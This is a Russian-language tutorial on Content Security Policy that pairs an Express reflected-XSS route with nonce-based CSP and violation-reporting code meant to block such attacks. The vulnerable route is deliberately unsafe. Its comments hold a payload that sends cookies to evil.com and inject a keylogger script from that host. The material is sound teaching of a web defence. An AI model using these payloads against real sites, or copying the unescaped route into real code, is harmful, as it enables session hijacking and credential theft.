CSP (Content Security Policy)
CSP — HTTP-заголовок с явным whitelist-ом разрешённых источников скриптов, стилей, фреймов и других ресурсов; правильно настроенный CSP блокирует большинство XSS-атак даже при наличии уязвимости в коде; вопрос встречается в security-фокусированных компаниях и требует знания директив, nonce и report механизма.
// ATTACK: Inline script injection при отсутствии CSP// Сервер отдаёт страницу без заголовка Content-Security-Policy.
// Уязвимый роут (Reflected XSS):app.get('/profile', (req, res) => { const name = req.query.name; // ?name=<script>fetch('//evil.com/steal?c='+btoa(document.cookie))</script> res.send(`<html><body><h1>Hello, ${name}!</h1></body></html>`); // Без CSP браузер выполнит <script> с полными правами страницы. // Атака: кража cookies, session hijacking, перенаправление, UI-redressing.});
// ATTACK: Загрузка внешнего скрипта через инъекцию// Инъектировано: <script src="https://evil.com/keylogger.js"></script>// Без CSP браузер загрузит и выполнит внешний скрипт.// MITIGATION: строгий CSP с nonce (per-request случайное значение)const crypto = require('crypto');
app.use((req, res, next) => { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.cspNonce = nonce; res.setHeader('Content-Security-Policy', [ "default-src 'self'", `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`, // nonce + динамические скрипты "style-src 'self' 'unsafe-inline'", // или nonce для строгого режима "img-src 'self' data: https://cdn.example.com", "connect-src 'self' https://api.example.com wss://api.example.com", "font-src 'self' https://fonts.gstatic.com", "frame-src 'none'", // запретить фреймы (clickjacking) "frame-ancestors 'none'", // запретить вставку нас в iframe "base-uri 'self'", // предотвращает base-tag injection "form-action 'self'", // куда можно отправлять формы "upgrade-insecure-requests", // HTTP → HTTPS автоматически ].join('; ')); next();});// В шаблоне: <script nonce="<%= cspNonce %>">/* inline JS */</script>// Инъектированный <script> без nonce → заблокирован браузером// CSP Report-Only + мониторинг нарушенийapp.use((req, res, next) => { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.cspNonce = nonce; // Report-Only: не блокирует, только отправляет отчёты — безопасно тестировать res.setHeader('Content-Security-Policy-Report-Only', [ "default-src 'self'", `script-src 'self' 'nonce-${nonce}'`, "report-to csp-violations", // Reporting API (современный) "report-uri /csp-report", // legacy fallback ].join('; ')); next();});
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => { const r = req.body['csp-report']; logger.warn('CSP violation', { directive: r['violated-directive'], blocked: r['blocked-uri'], source: r['source-file'], line: r['line-number'], }); res.sendStatus(204);});
// Trusted Types: принудительная защита от DOM-инъекций на уровне API// Content-Security-Policy: require-trusted-types-for 'script'// → .innerHTML = string вызывает TypeError runtime — нужен TrustedHTML-объектCSP Directive Flow Browser fetches resource (script / img / font / frame / XHR / WS) | v CSP header present on page? |YES |NO -> allow (no policy) | v Map resource type to directive: <script> -> script-src <style>/<link> -> style-src <img>/CSS bg -> img-src fetch/XHR/WS -> connect-src <iframe> -> frame-src @font-face -> font-src (no match) -> default-src (fallback) | v Check source against directive values: ‘self’ -> same origin only ‘nonce-XYZ’ -> element attribute nonce=‘XYZ’ ‘strict-dynamic’ -> trust scripts created by nonce-scripts https://cdn.x.com -> explicit allowed origin ‘unsafe-inline’ -> any inline code <- weakens CSP! ‘unsafe-eval’ -> eval/Function() <- weakens CSP! | ALLOW BLOCK | | | If report-to/report-uri -> send violation report v v load resource refuse + console error
Итог: CSP с nonce блокирует XSS-инъекции на уровне браузера даже при наличии уязвимости; начинайте с Report-Only режима для сбора нарушений перед включением enforcement.